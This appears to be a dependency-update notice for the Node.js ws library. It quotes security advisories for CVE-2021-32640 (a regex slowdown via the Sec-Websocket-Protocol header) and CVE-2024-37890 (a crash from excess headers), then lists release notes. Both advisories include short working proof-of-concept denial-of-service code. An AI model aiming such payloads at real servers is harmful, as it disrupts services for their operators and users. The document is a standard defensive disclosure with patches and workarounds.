GitHub Vulnerability Alerts

CVE-2021-32640

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Patches

The vulnerability was fixed in ws@7.4.6 (websockets/ws@00c425e) and backported to ws@6.2.2 (websockets/ws@78c676d) and ws@5.2.3 (websockets/ws@76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v7.5.3

Compare Source

Bug fixes

  • The WebSocketServer constructor now throws an error if more than one of the
    noServer, server, and port options are specefied (66e58d2).
  • Fixed a bug where a 'close' event was emitted by a WebSocketServer before
    the internal HTTP/S server was actually closed (5a58730).
  • Fixed a bug that allowed WebSocket connections to be established after
    WebSocketServer.prototype.close() was called (772236a).

v7.5.2

Compare Source

Bug fixes

  • The opening handshake is now aborted if the client receives a
    Sec-WebSocket-Extensions header but no extension was requested or if the
    server indicates an extension not requested by the client (aca94c8).

v7.5.1

Compare Source

Bug fixes

  • Fixed an issue that prevented the connection from being closed properly if an
    error occurred simultaneously on both peers (b434b9f).

v7.5.0

Compare Source

Features

  • Some errors now have a code property describing the specific type of error
    that has occurred (#​1901).

Bug fixes

  • A close frame is now sent to the remote peer if an error (such as a data
    framing error) occurs (8806aa9).
  • The close code is now always 1006 if no close frame is received, even if the
    connection is closed due to an error (8806aa9).

v7.4.6

Compare Source

Bug fixes

  • Fixed a ReDoS vulnerability (00c425e).

A specially crafted value of the Sec-Websocket-Protocol header could be used
to significantly slow down a ws server.

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

The vulnerability was responsibly disclosed along with a fix in private by
Robert McLaughlin from University of California, Santa Barbara.

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum
allowed length of the request headers using the --max-http-header-size=size
and/or the maxHeaderSize options.

v7.4.5

Compare Source

Bug fixes

  • UTF-8 validation is now done even if utf-8-validate is not installed
    (23ba6b2).
  • Fixed an edge case where websocket.close() and websocket.terminate() did
    not close the connection (67e25ff).

v7.4.4

Compare Source

Bug fixes
  • Fixed a bug that could cause the process to crash when using the
    permessage-deflate extension (9277437).
